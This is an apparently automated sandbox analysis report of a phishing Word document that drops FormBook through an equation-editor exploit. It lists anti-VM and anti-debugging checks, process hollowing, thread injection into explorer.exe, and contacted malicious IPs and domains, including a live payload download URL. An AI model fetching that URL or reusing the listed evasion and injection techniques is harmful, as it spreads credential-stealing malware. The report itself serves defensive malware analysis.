Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe RDTSC instruction interceptor: First address: 00000000000898E4 second address: 00000000000898EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe RDTSC instruction interceptor: First address: 0000000000089B5E second address: 0000000000089B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00409A90 rdtsc 5_2_00409A90
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1916 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 3024 Thread sleep time: -62000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2952 Thread sleep time: -120000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe Last function: Thread delayed
Source: explorer.exe, 00000006.00000000.2115515210.0000000004234000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000002.2363489072.00000000001F5000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.2115552459.0000000004263000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}ies
Source: explorer.exe, 00000006.00000000.2115450863.00000000041DB000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000006.00000000.2106311977.0000000000231000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0&E}
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00409A90 rdtsc 5_2_00409A90
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0040ACD0 LdrLoadDll, 5_2_0040ACD0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_012C1B13
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_012C1B13
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_012C1B13
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012B6A00 mov eax, dword ptr fs:[00000030h] 4_2_012B6A00
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_0046F839 mov eax, dword ptr fs:[00000030h] 4_2_0046F839
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_0046EDE2 mov eax, dword ptr fs:[00000030h] 4_2_0046EDE2
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_0046F651 mov eax, dword ptr fs:[00000030h] 4_2_0046F651
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_0046F6F1 mov eax, dword ptr fs:[00000030h] 4_2_0046F6F1
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_0046F68E mov eax, dword ptr fs:[00000030h] 4_2_0046F68E
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012B6A00 mov eax, dword ptr fs:[00000030h] 5_2_012B6A00
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009226F8 mov eax, dword ptr fs:[00000030h] 5_2_009226F8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A126F8 mov eax, dword ptr fs:[00000030h] 7_2_00A126F8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012B6B80 GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapAlloc, 4_2_012B6B80
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012BC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 4_2_012BC0A3
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012BC080 SetUnhandledExceptionFilter, 4_2_012BC080
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012BC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_012BC0A3
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012BC080 SetUnhandledExceptionFilter, 5_2_012BC080

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 91.195.240.94 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Section loaded: unknown target: C:\Users\user\AppData\Roaming\mpomboby8423.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Thread register set: target process: 1388 Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Thread register set: target process: 1388 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Section unmapped: C:\Windows\SysWOW64\help.exe base address: 310000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\mpomboby8423.exe' Jump to behavior
Source: explorer.exe, 00000006.00000002.2363678883.00000000006F0000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000002.2363678883.00000000006F0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000002.2363489072.00000000001F5000.00000004.00000020.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000006.00000002.2363678883.00000000006F0000.00000002.00000001.sdmp Binary or memory string: !Progman

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012BD7B7 cpuid 4_2_012BD7B7
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012B8431 GetLocalTime, 4_2_012B8431

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 339299 Sample: RFQ RATED POWER 2000HP- OTH... Startdate: 13/01/2021 Architecture: WINDOWS Score: 100 39 www.aboutwheelchair.com 2->39 45 Found malware configuration 2->45 47 Malicious sample detected (through community Yara rule) 2->47 49 Antivirus detection for dropped file 2->49 51 8 other signatures 2->51 11 EQNEDT32.EXE 11 2->11         started        16 WINWORD.EXE 336 20 2->16         started        18 EQNEDT32.EXE 2->18         started        signatures3 process4 dnsIp5 43 vm1662026.3ssd.had.wf 92.119.114.220, 49165, 80 ON-LINE-DATAServerlocation-NetherlandsDrontenNL Ukraine 11->43 35 C:\Users\user\AppData\...\mpomboby8423.exe, PE32 11->35 dropped 37 C:\Users\user\AppData\...\mpomabiva[1].exe, PE32 11->37 dropped 71 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->71 20 mpomboby8423.exe 11->20         started        file6 signatures7 process8 signatures9 53 Antivirus detection for dropped file 20->53 55 Multi AV Scanner detection for dropped file 20->55 57 Machine Learning detection for dropped file 20->57 59 2 other signatures 20->59 23 mpomboby8423.exe 20->23         started        process10 signatures11 61 Modifies the context of a thread in another process (thread injection) 23->61 63 Maps a DLL or memory area into another process 23->63 65 Sample uses process hollowing technique 23->65 67 Queues an APC in another process (thread injection) 23->67 26 explorer.exe 23->26 injected process12 dnsIp13 41 www.ghelyoun.net 91.195.240.94, 49166, 80 SEDO-ASDE Germany 26->41 69 System process connects to network (likely due to code injection or exploit) 26->69 30 help.exe 26->30         started        signatures14 process15 signatures16 73 Modifies the context of a thread in another process (thread injection) 30->73 75 Maps a DLL or memory area into another process 30->75 77 Tries to detect virtualization through RDTSC time measurements 30->77 33 cmd.exe 30->33         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
92.119.114.220
unknown Ukraine
204601 ON-LINE-DATAServerlocation-NetherlandsDrontenNL true
91.195.240.94
unknown Germany
47846 SEDO-ASDE true

Contacted Domains

Name IP Active
vm1662026.3ssd.had.wf 92.119.114.220 true
www.ghelyoun.net 91.195.240.94 true
www.aboutwheelchair.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://vm1662026.3ssd.had.wf/mpomabiva.exe true
  • Avira URL Cloud: safe
unknown